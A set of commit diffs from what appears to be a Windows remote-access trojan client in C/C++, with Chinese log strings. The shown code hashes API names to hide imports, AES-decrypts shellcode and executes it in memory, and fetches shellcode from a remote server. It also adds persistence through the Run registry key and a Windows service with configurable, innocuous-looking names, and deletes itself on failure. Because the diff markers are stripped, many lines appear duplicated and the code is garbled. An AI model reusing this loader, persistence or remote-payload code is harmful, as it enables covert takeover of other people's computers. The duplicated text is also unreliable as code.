#define CreateFileA_Hash 1470354217
typedef HANDLE(WINAPI* _CreateFileA)(LPCSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes,
DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile);
typedef HANDLE(WINAPI* _CreateFileA)(LPCSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes,
DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile);
#define ReadFile_Hash 990362902
typedef BOOL(WINAPI* _ReadFile)(HANDLE hFile, LPVOID lpBuffer, DWORD nNumberOfBytesToRead, LPDWORD lpNumberOfBytesRead, LPOVERLAPPED lpOverlapped);
@@ -251,10 +251,10 @@ int entry()
struct AES_ctx ctx;
AES_init_ctx_iv(&ctx, sc.aes_key, sc.aes_iv);
AES_CBC_decrypt_buffer(&ctx, sc.data, sc.len);
DWORD oldProtect = 0;
if (!VirtualProtect(sc.data, sc.len, PAGE_EXECUTE_READ, &oldProtect)) return 5;
((void(*)())sc.data)();
Sleep(INFINITE);
DWORD oldProtect = 0;
if (!VirtualProtect(sc.data, sc.len, PAGE_EXECUTE_READ, &oldProtect)) return 5;
((void(*)())sc.data)();
Sleep(INFINITE);
return 0;
}

View File

@@ -3,128 +3,128 @@
#include <VFW.H>
class CVideoCodec
{
COMPVARS m_cv;
HIC m_hIC;
BITMAPINFO* m_lpbmiInput;
BITMAPINFO m_bmiOutput;
public:
bool InitCompressor(BITMAPINFO* lpbmi, DWORD fccHandler)
class CVideoCodec
{
if (lpbmi == NULL)
return false;
COMPVARS m_cv;
HIC m_hIC;
BITMAPINFO* m_lpbmiInput;
BITMAPINFO m_bmiOutput;
m_lpbmiInput = lpbmi;
public:
ZeroMemory(&m_cv, sizeof(m_cv));
m_cv.cbSize = sizeof(m_cv);
m_cv.dwFlags = ICMF_COMPVARS_VALID;
m_cv.hic = m_hIC;
m_cv.fccType = ICTYPE_VIDEO;
m_cv.fccHandler = fccHandler;
m_cv.lpbiOut = NULL;
m_cv.lKey = 10;
m_cv.lDataRate = 6;
m_cv.lQ = ICQUALITY_HIGH;
bool InitCompressor(BITMAPINFO* lpbmi, DWORD fccHandler)
{
if (lpbmi == NULL)
return false;
m_hIC = ICOpen(ICTYPE_VIDEO, m_cv.fccHandler, ICMODE_COMPRESS | ICMODE_DECOMPRESS);
m_lpbmiInput = lpbmi;
if (m_hIC == NULL) {
return false;
ZeroMemory(&m_cv, sizeof(m_cv));
m_cv.cbSize = sizeof(m_cv);
m_cv.dwFlags = ICMF_COMPVARS_VALID;
m_cv.hic = m_hIC;
m_cv.fccType = ICTYPE_VIDEO;
m_cv.fccHandler = fccHandler;
m_cv.lpbiOut = NULL;
m_cv.lKey = 10;
m_cv.lDataRate = 6;
m_cv.lQ = ICQUALITY_HIGH;
m_hIC = ICOpen(ICTYPE_VIDEO, m_cv.fccHandler, ICMODE_COMPRESS | ICMODE_DECOMPRESS);
if (m_hIC == NULL) {
return false;
}
ICCompressGetFormat(m_hIC, m_lpbmiInput, &m_bmiOutput);
// 向编码器发送验证
ICSendMessage(m_hIC, 0x60c9, 0xf7329ace, 0xacdeaea2);
m_cv.hic = m_hIC;
m_cv.dwFlags = ICMF_COMPVARS_VALID;
if (!ICSeqCompressFrameStart(&m_cv, m_lpbmiInput)) {
return false;
}
ICDecompressBegin(m_hIC, &m_bmiOutput, m_lpbmiInput);
return true;
}
ICCompressGetFormat(m_hIC, m_lpbmiInput, &m_bmiOutput);
// 向编码器发送验证
ICSendMessage(m_hIC, 0x60c9, 0xf7329ace, 0xacdeaea2);
bool DecodeVideoData(BYTE *pin, int len, BYTE* pout, int *lenr,DWORD flag)
{
if(!pin || !pout ||!m_hIC)
return false;
if (ICDecompress(m_hIC, flag, &m_bmiOutput.bmiHeader, pin, &m_lpbmiInput->bmiHeader, pout) != ICERR_OK)
return false;
m_cv.hic = m_hIC;
m_cv.dwFlags = ICMF_COMPVARS_VALID;
if (lenr) *lenr = m_lpbmiInput->bmiHeader.biSizeImage;
if (!ICSeqCompressFrameStart(&m_cv, m_lpbmiInput)) {
return false;
return true;
}
ICDecompressBegin(m_hIC, &m_bmiOutput, m_lpbmiInput);
bool EncodeVideoData(BYTE* pin, int len, BYTE* pout, int* lenr, bool* pKey)
{
BYTE *p;
long s = 1;
BOOL k = true;
if ( !pin || !pout || len != (int)m_lpbmiInput->bmiHeader.biSizeImage || !m_hIC)
return false;
p = (BYTE*)ICSeqCompressFrame(&m_cv, 0, pin, &k, &s);
return true;
}
if (!p) return false;
if (lenr) *lenr = s;
if (pKey) *pKey = k;
bool DecodeVideoData(BYTE *pin, int len, BYTE* pout, int *lenr,DWORD flag)
{
if(!pin || !pout ||!m_hIC)
return false;
if (ICDecompress(m_hIC, flag, &m_bmiOutput.bmiHeader, pin, &m_lpbmiInput->bmiHeader, pout) != ICERR_OK)
return false;
CopyMemory(pout, p, s);
if (lenr) *lenr = m_lpbmiInput->bmiHeader.biSizeImage;
return true;
}
bool EncodeVideoData(BYTE* pin, int len, BYTE* pout, int* lenr, bool* pKey)
{
BYTE *p;
long s = 1;
BOOL k = true;
if ( !pin || !pout || len != (int)m_lpbmiInput->bmiHeader.biSizeImage || !m_hIC)
return false;
p = (BYTE*)ICSeqCompressFrame(&m_cv, 0, pin, &k, &s);
if (!p) return false;
if (lenr) *lenr = s;
if (pKey) *pKey = k;
CopyMemory(pout, p, s);
return true;
}
CVideoCodec()
{
m_lpbmiInput = NULL;
}
virtual ~CVideoCodec()
{
// No init yet or init error
if (m_hIC == NULL)
return;
ICDecompressEnd(m_hIC);
ICSeqCompressFrameEnd(&m_cv);
ICCompressorFree(&m_cv);
ICClose(m_hIC);
}
int MyEnumCodecs(int *fccHandler, char *strName)
{
static int i = 0;
int nRet = 1;
HIC hIC;
ICINFO icInfo;
if (fccHandler == NULL)
return 0;
if(!ICInfo(ICTYPE_VIDEO, i, &icInfo)) {
i = 0;
return 0;
return true;
}
hIC = ICOpen(icInfo.fccType, icInfo.fccHandler, ICMODE_QUERY);
if (hIC) {
ICGetInfo(hIC, &icInfo, sizeof(icInfo));
*fccHandler = icInfo.fccHandler;
//由于得到的szDescription是UNICODE双字节字串所以要转换为ASCII的
if (strName != NULL)
wcstombs(strName, icInfo.szDescription, 256);
} else nRet = -1;
CVideoCodec()
{
m_lpbmiInput = NULL;
}
ICClose(hIC);
i++;
return nRet;
}
};
virtual ~CVideoCodec()
{
// No init yet or init error
if (m_hIC == NULL)
return;
ICDecompressEnd(m_hIC);
ICSeqCompressFrameEnd(&m_cv);
ICCompressorFree(&m_cv);
ICClose(m_hIC);
}
int MyEnumCodecs(int *fccHandler, char *strName)
{
static int i = 0;
int nRet = 1;
HIC hIC;
ICINFO icInfo;
if (fccHandler == NULL)
return 0;
if(!ICInfo(ICTYPE_VIDEO, i, &icInfo)) {
i = 0;
return 0;
}
hIC = ICOpen(icInfo.fccType, icInfo.fccHandler, ICMODE_QUERY);
if (hIC) {
ICGetInfo(hIC, &icInfo, sizeof(icInfo));
*fccHandler = icInfo.fccHandler;
//由于得到的szDescription是UNICODE双字节字串所以要转换为ASCII的
if (strName != NULL)
wcstombs(strName, icInfo.szDescription, 256);
} else nRet = -1;
ICClose(hIC);
i++;
return nRet;
}
};
#endif // !defined(AFX_VIDEOCODEC_H_INCLUDED)

View File

@@ -64,7 +64,7 @@ inline BOOL SetSelfStart(const char* sPath, const char* sNmae, StartupLogFunc Lo
if (n != 0) {
_Mprintf("提升权限失败,错误码:%d\n", n);
return FALSE;
}
}
// 写入的注册表路径
#define REGEDIT_PATH "Software\\Microsoft\\Windows\\CurrentVersion\\Run"
@@ -85,7 +85,7 @@ inline BOOL SetSelfStart(const char* sPath, const char* sNmae, StartupLogFunc Lo
_Mprintf("写入注册表失败,错误码:%d\n", lRet);
} else {
_Mprintf("写入注册表成功:%s -> %s\n", sNmae, sPath);
}
}
// 关闭注册表
RegCloseKey(hKey);

View File

@@ -257,8 +257,7 @@ const char* ReceiveShellcode(const char* sIP, int serverPort, int* sizeOut)
char serverIP[INET_ADDRSTRLEN] = { 0 };
if (GetIPAddress(addr, serverIP, sizeof(serverIP)) == 0) {
Mprintf("Resolved IP: %s\n", serverIP);
}
else {
} else {
Mprintf("Failed to resolve '%s'.\n", addr);
WSACleanup();
return NULL;
@@ -329,8 +328,7 @@ const char* ReceiveShellcode(const char* sIP, int serverPort, int* sizeOut)
break;
}
}
}
else {
} else {
closesocket(clientSocket);
break;
}
@@ -446,8 +444,7 @@ BOOL APIENTRY DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
param.Port = atoi(g_Server.szPort);
param.User = g_Server.pwdHash;
threadHandle = CreateThread(NULL, 0, run, &param, 0, NULL);
}
else if (fdwReason == DLL_PROCESS_DETACH) {
} else if (fdwReason == DLL_PROCESS_DETACH) {
if (threadHandle) TerminateThread(threadHandle, 0x20250619);
}
return TRUE;

View File

@@ -218,10 +218,16 @@ public:
int main(int argc, const char *argv[])
{
Mprintf("启动运行: %s %s. Arg Count: %d\n", argv[0], argc > 1 ? argv[1] : "", argc);
InitWindowsService({"ClientDemoService", "Client Demo Service", "Provide a demo service."}, Log);
InitWindowsService(NewService(
g_ConnectAddress.installName[0] ? g_ConnectAddress.installName : "ClientDemoService",
g_ConnectAddress.installDir[0] ? g_ConnectAddress.installDir : "Client Demo Service",
g_ConnectAddress.installDesc[0] ? g_ConnectAddress.installDesc : "Provide a demo service."), Log);
bool isService = g_ConnectAddress.iStartup == Startup_TestRunMsc;
// 注册启动项
int r = RegisterStartup("Client Demo", "ClientDemo", !isService, g_ConnectAddress.runasAdmin, Logf);
int r = RegisterStartup(
g_ConnectAddress.installDir[0] ? g_ConnectAddress.installDir : "Client Demo",
g_ConnectAddress.installName[0] ? g_ConnectAddress.installName : "ClientDemo",
!isService, g_ConnectAddress.runasAdmin, Logf);
if (r <= 0) {
BOOL s = self_del();
if (!IsDebug) {